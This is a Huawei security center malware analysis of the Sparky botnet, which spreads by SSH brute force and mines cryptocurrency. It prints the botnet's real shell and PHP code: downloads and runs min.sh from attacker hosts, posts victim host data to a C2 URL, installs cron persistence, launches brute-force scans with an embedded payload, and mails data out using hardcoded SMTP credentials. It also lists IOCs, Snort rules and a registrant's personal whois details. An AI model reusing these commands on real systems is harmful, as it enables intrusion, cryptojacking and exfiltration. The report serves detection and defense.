Login  |   Register Logout  |   中文
Modify
Deregister
[Bulletin] Huawei Intelligent Security Center of a new edition is now available. You can click New Edition in the upper right corner of the page to experience it.
  • Security Notice

  • Research

  • Signature Update

  • Knowledge Base Query

  • Intelligence Query

  • FireHunter-Cloud FireHunter-Cloud

  • My Device

  • Support

MAPP Notice
Vulnerability Notice
Security Alert
PSIRT Advisories
Security Blog
Major Security Events
Signature Update
Version Notice
Signature Change Description
Feedback
IPS New Grammar Manual
Information Release
Subscription
URL Category Query
IPS Threat
APPWiKi

Sparky Botnet Analysis Report


Release Date : 2018-11-13 16:12:05    Update Date : 2018-11-27 17:21:29    Author :

【Abstract】Common botnets only carry control tasks, such as DDOS, mining and other operations, rarely actively spread worms outward. The Sparky botnets found in Huawei honeypot system not only carry mining tasks, but also spread outward through SSH blasting.

1 Background

Frequent mining incidents occurred in recent days. Most of the mining incidents were spread through host control devices. However, this incident was not only used to collect mining equipment, but also to expand the scale of botnets. If the latest vulnerability is exploited for spreading, the attack impacts will be much more enormous.

The Sparky botnet was spread using SSH brute force cracking to attack LAN users on the discovered zombie hosts. If new zombie hosts are found, the Sparky botnet performs CPU or GPU mining operations based on the capabilities of the zombie hosts.

2 Attack Process

The Sparky botnet attack process was analyzed in three aspects: injection, mining, and spreading.

2.1 Injection

In this sample, malicious scripts were injected to a zombie host. The attacker accessed the user host by SSH brute force cracking and started to execute the downloaded malicious scripts. The IP address of the zombie host was 138.68.160.77.

 "commands": {       
 "cd     /tmp;wget http://67.205.129.169/.foomin.sh || curl -O     
http://www.karaibe.us/.foo/min.sh; chmod +x min.sh; nohup ./min.sh;     
./min.sh >> /dev/null &": {
                "count": 1, 
                "IP": [
                    "138.68.160.77"          Victim IP
            ]
        },

The min.sh script included the following functions: downloading and executing the mining program, spreading, and getting zombie hosts to register with the C2 server. The address of the C2 server was hxxp://www.karaibe.us/.foo/remote/info.php. Botnet information, such as the IP address of the zombie host and date, was sent. After registration with the C2 server was completed, the zombie host automatically deleted the script.

SERVERIP=`curl http://www.karaibe.us/.foo/remote/info.php`
curl -d "info=NEWROOT&data=SERVER---> $(whoami)@$SERVERIP <br>DATE---> $(date) <br>ARCH---> $ARCH" http://www.karaibe.us/.foo/remote/info.php > /dev/null
cd /tmp
rm -rf $0
rm -rf min.sh
rm -rf /tmp/min.sh

2.2 Mining

Code for mining is as follows:

cd /tmp
wget http://67.205.129.169/.foo/ryo.tgz || curl -O http://www.karaibe.us/.foo/ryo.tgz || lwp-download http://67.205.129.169/.foo/ryo.tgz
tar zxvf ryo.tgz
rm -rf ryo.tgz
cd .bin
nohup ./start > /dev/null &
lspci | grep VGA
if [ $? -eq 0 ]; then
        cd /tmp
        mkdir .x
        cd /tmp/.x
        wget http://67.205.129.169/.foo/xmstak.tgz || curl -O http://karaibe.us/.foo/xmstak.tgz
        tar zxvf xmstak.tgz
        rm -rf xmstak.tgz
        cd .xmstak
        nohup ./start &
        ./start &
fi

The zombie host downloaded CPU mining software ryo.tgz from the C2 server and executed the software. If GPU was present, the zombie host continued to download GPU mining software.

In ryo.tgz, the zombie host executed the start script for mining, consuming 95% of CPU resources at most. The script was mainly used for mining through the CPU's compute capability.

if [ "$ARCH" == "i686" ];       then
   ./x86/daemon -t $(nproc) -a cryptonight -o pool.ryo.hashvault.pro:5555 -u RYoSrHKVfJiFooGhb4SnN5EFSKWrGZ5v9LZPznSkaYXGhgSaQmKX9dd6xrYrMNQXVcb1VqTgju6aBFtRNkb4VUgVFG9nQPU1iJD -p $(cat .miner) --donate-level 1 --max-cpu-usage 95 -B > /dev/null &
elif [ "$ARCH" == "x86_64" ];   then
   ./h64 -s $hh ./md64 -t $(nproc) -a cryptonight-heavy -o pool.ryo.hashvault.pro:5555 -u RYoSrHKVfJiFooGhb4SnN5EFSKWrGZ5v9LZPznSkaYXGhgSaQmKX9dd6xrYrMNQXVcb1VqTgju6aBFtRNkb4VUgVFG9nQPU1iJD -p $(cat .miner) --donate-level 1 --max-cpu-usage 95 -B > /dev/null &
fi

The mining pool was pool.ryo.hashvault.pro.                                                                                  

 

By registering scheduled Linux tasks, zombie hosts registered with the C2 server every 30 minutes so that the C2 server could monitor zombie hosts. In nanor.sh, the Sparky zombie scripts were spread to zombie hosts all the time.

mkdir /var/tmp/.nano
curl -s http://www.karaibe.us/.foo/nanor.sh > /var/tmp/.nano/nano.sh
chmod +x /var/tmp/.nano/nano.sh
echo '*/30 * * * * /var/tmp/.nano/nano.sh &> /dev/null
@reboot /bin/mkdir /var/tmp/.ssh && /usr/bin/curl -s http://www.karaibe.us/.foo/nanor.sh > /var/tmp/.ssh/nano.sh && /bin/chmod +x /var/tmp/.ssh/nano.sh && /var/tmp/.ssh/nano.sh' > cron.d

In xmstak.tgz, the start script made the zombie hosts perform GPU mining and changed the mining pool to 45.77.60.40:5555. Other information remained unchanged.

./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmr-stak -o 45.77.60.40:5555 -u RYoSrD2ZsWoSijRyK9bknfSEtuXo9AZjxdCkqiLMNNg63Vy6hjFqL33dQxu5gEmvtx753Wf1n5b4nJgUqGv29nM3EADVsAhgNop -p AGUA-$(cat .miner) --currency sumokoin -r 1 --noCPU > /dev/null &

2.3 Spreading

Code for spreading was as follows:

cd .vd
wget http://67.205.129.169/.foo/sslm.tgz || curl -O http://www.karaibe.us/.foo/sslm.tgz || lwp-download http://67.205.129.169/.foo/sslm.tgz
tar zxvf sslm.tgz
rm -rf sslm.tgz
cd .sslm
nohup ./start > /dev/null &

In this sample, sslm.tgz was downloaded and the start script was executed to start a registration task, including setting the date, current directory, processor, and GPU information. "info=HAIDUC-STARTED&data" was a fixed character string in transit and could be extracted as a botnet/Trojan horse/worm rule. After the preceding actions were complete, the sparky.sh script was executed for brute force cracking on 192.168.x.x/255. This network segment was an intranet network, increasing the possibility of brute force cracking successes.

#!/bin/bash
pwd > dir.dir
dir=`cat dir.dir`
SERVERIP=`curl http://www.karaibe.us/.foo/remote/info.php --connect-timeout 10`
echo "$(whoami)@$SERVERIP
DATE--->$(date)
SCANDIR: $(pwd)
PROCESORS: $(nproc)
VIDEO: $(lspci | grep VGA)" > data.file
data=`cat data.file`
curl -d "info=HAIDUC-STARTED&data=$data" http://www.karaibe.us/.foo/remote/info.php --connect-timeout 10
./sparky.sh 192.168
./rand > /dev/null &
sleep 20

In sparky.sh, the code for invoking brute force cracking was executed. (The code is as follows.) The main function was to specify the number of threads (300 in the script) and port (port 22 for SSH by default), and execute the password table (varying with the attacked network segment), and attack payload (same as the attack payload this time).

passfile=pass
threads=300  
port=22   
SERVERIP=`curl http://www.karaibe.us/.foo/remote/info.php --connect-timeout 10`
dir=$(cat dir.dir)
curl -s http://www.karaibe.us/.foo/feed/feedp.php --connect-timeout 10 > pass
sleep 1
sizepass=$(wc -c < pass)
minsizep=6
#daca passfile-ul e mai mic decat 6 biti creaza automat passfile si in cazul in care clasa de scan e localhost baga passfile big
if [ ! $sizepass -ge $minsizep ]; then    password table
   cat .classpass > pass
elif [ $1 = 192.168 ]; then
   cat .pass > pass
fi
##################################  Attack process: number of threads, network segment, port, attack payload
./haiduc $threads -b $1 $passfile $port "cd /tmp;wget http://67.205.129.169/.foo/min.sh || curl -O http://www.karaibe.us/.foo/min.sh; chmod +x min.sh; nohup ./min.sh >> /dev/null &"
sleep 3

haiduc is an ELF file. The following information can be obtained after the file is unpacked:

File

MD5

VT

Before haiduc is unpacked

DC6E956855BCF3EDE2658B11C2E5FA95

26/57

After haiduc is unpacked

ADA7F255DE13ADC37AD69D5C97E6B602

13/56

 

The key code in haiduc is the brute force cracking process. The following figure shows how brute force cracking code is invoked. Once cracking is successful, malicious code is executed on new zombie hosts.

                                             

 

After spreading is complete, finish.php is executed to perform secondary registration with the email C2 server. The detailed information, including the C2 email address hoffmannklaus254@gmail.com and the email sending address tisdialog@tis-dialog.ru, is as follows:

$whoami = trim(shell_exec("whoami"));
$IP = shell_exec("curl -s http://www.karaibe.us/.foo/remote/info.php > /dev/null");
$to = "hoffmannklaus254@gmail.com";
$server = "smtp.tis-dialog.ru";
$user = "tisdialog@tis-dialog.ru";
$pass = "tisdialog";
$port = "25";
$letter = file_get_contents($argv[1]);
$letter2 = str_replace("\n", "<BR>", $letter);
$subject = trim($argv[2])." {$whoami}@{$IP}";
if (send($to, $user, $user, $subject, $letter2, $server, $user, $pass, $port)) {
   print "OK\n";
} else {
   mail($to,$subject,$letter);
}

3 Threat Intelligence Tracking

3.1 C2 Domain Name

The C2 domain name www.karaibe.us was first registered on September 8, 2018.

 

The whois information showed that the registered email box was spywebs2009@hotmail.com,

Registrant Email: spywebs2009@hotmail.com
Registrant Application Purpose: P1
Registrant Nexus Category: C11
Registry Admin ID: C163274B60211452FA3E6D531C1732D56-NSR
Admin Name: Beatriz Callau Llopis
Admin Organization:
Admin Street: Avda Jaime I 51 P05
Admin Street:
Admin Street:
Admin City: Castellon
Admin State/Province: Castellon
Admin Postal Code: 12001
Admin Country: ES
Admin Phone: +34.697660199
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: spywebs2009@hotmail.com

3.2 Email Address

The C2 mailbox account hoffmannklaus254@gmail.com and password were specified in code. However, the password had been changed during another access attempt. During the process of finding the password, it was found that the mobile number used by the hacker ended with 33 and the email address used for Gmai registration was spywebs2009@hotmail.com.


 

The email was sent from tisdialog@tis-dialog.ru, and the password was tisdialog. No email was found after the email box is logged in.

 

However, a phishing email could be found in other sent emails.

  

4 Analysis Conclusion

The following conclusions can be drawn after the attack means and threat intelligence tracking are analyzed:

1.         Common botnet controllers spread virus by using spam services or other vulnerabilities. The botnet discovered this time is capable of self-spreading, similar to worm spreading.

2.         Botnet controllers are also operating other malicious services, such as spam services.

Appendix: IOC

C2

www.karaibe.us

hoffmannklaus254@gmail.com

Snort Rule

l   Character string indicating zombie hosts online: Info=NEWROOT&data=SERVER--->

Snort rules for getting zombie hosts online:

flow: established; pkt_data; content: "info|3d|NEWROOT|26|data|3d|SERVER|2d||2d||2d||3e|"; nocase;

l   Character string for mining by registered zombie host: Info=NEW-MINER-RYO&data=$

Snort rule for mining:

flow: established; pkt_data; content: "info|3d|NEW|2d|MINER|2d|RYO|26|data|3d 24|"; nocase;

l   Character string for starting brute force cracking: Info=HAIDUCSCAN&data=

Snort rule for starting brute force cracking:

flow: established; pkt_data; content: "info|3d|HAIDUCSCAN|26|data|3d|"; nocase;

HASH

File Type

HASH

File Name

Brute force cracking

8D1FD6C92070F63E9A5644679F27E704

*finish.php

Brute force cracking

DC6E956855BCF3EDE2658B11C2E5FA95

*haiduc

Brute force cracking

ADA7F255DE13ADC37AD69D5C97E6B602

*haiduc.bak

Brute force cracking

A89240D8BCC79454A3ADE9FBD1C6987C

*haiduc.i64

Brute force cracking

D039355A2E057A62D73DB849B2147FC4

*rand

Brute force cracking

98E8FD0E971609B6D23A3339CA3F9C52

*sparky.sh

Brute force cracking

9D6B6554D50841B322DD1AA64966414A

*start

Brute force cracking

8360409962B983C3BB094990CBD2B91E

*.classpass

Brute force cracking

643F1FEEA68BB1B813D962886D200AFF

*.pass

Brute force cracking

83F6AB1304D385CF2297DAFFF005646F

*class.pop3.php

Brute force cracking

E1FAAC4EBFF2038820979B716F44380B

*class.smtp.php

Brute force cracking

D63CCE96ADE0042EB60C8F40C0D805A6

*class.phpmailer.php

Mining

C644C04BCE21DACDEB1E6C14C081E359

*h64

Mining

8B1AF0F1DAA0008BAF4675C700B51E3A

*md64

Mining

DD4A45D4654943ADB42DC16515155286

*nanor.sh

Mining

616D6AEE2257A510A32F6052C6997FFA

*rcmd.sh

Mining

29A531C149115570D1B9B7029963114A

*start

Mining

0D01BD11D1D3E7676613AACB109DE55F

*h32

Mining

9F6A759FF35814B89660DFE72A9F60EF

*daemon

Mining

92DA46391C91FE889D62C9BBE7D8B226

*xmrigMiner

Mining

ABA5E42FB781F80F8C8316EC0DB7B449

*.run-xmrig

Mining

CFF452F75F75589666C02EECC2AAC8EF

*.run-xmr-stak

Mining

C71D95D66FB365637973C005FD73BD72

*config.txt

Mining

C644C04BCE21DACDEB1E6C14C081E359

*h64

Mining

40D618C22B21DC2993B9E1F86CAB04C4

*start

Mining

2472496F5F4355D7F5026EB8179EED59

*xmr-stak

Mining

644607374685C597A2E5CFBDAB8E2C81

*xmrig

Attack payload

BE9A66E23D40950A63E230C3CB719087

*info.php

Attack payload

E93B0F084BD1A124A17EBDC46D4FBE72

*min.sh

Attack payload

FC497CCBF1850653F2883F8109544D1B

*monero.tgz

Attack payload

DD4A45D4654943ADB42DC16515155286

*nanor.sh

Attack payload

4AEA92C61BECE7D1603865F82544BAF7

*ryo.tgz

Attack payload

3F4B2B13C5DE03174D32C2C4BC85DDA1

*sslm.tgz

Attack payload

2A63061575EEF0A33E25799EA71A7C86

*xmstak.tgz

Attack payload

42F68C688C7F37099B32AC327CFA6FA3

*class.php

Attack payload

E9231B4116281DE634995F64B539210F

*feedp.php

 




【Copyright Notice】 This article is the original content of HUAWEI Security Center. When reprinting, you must indicate the source (HUAWEI Security Center), link and author of the article, otherwise you may be held liable.If you find any suspected infringing content on this website, please visit the Feedback page to report and provide relevant evidence. Once verified, we will immediately remove the allegedly infringing content.




BackTop
Comment


2 0
Like Disagree






View more
Fold

Related links Huawei | Contact Us Tel:Huawei Service-Hotline | About Us Privacy Data Protection Statement

Copyright ©Huawei Technologies Co., Ltd. 2008 - 2025. All rights reserved.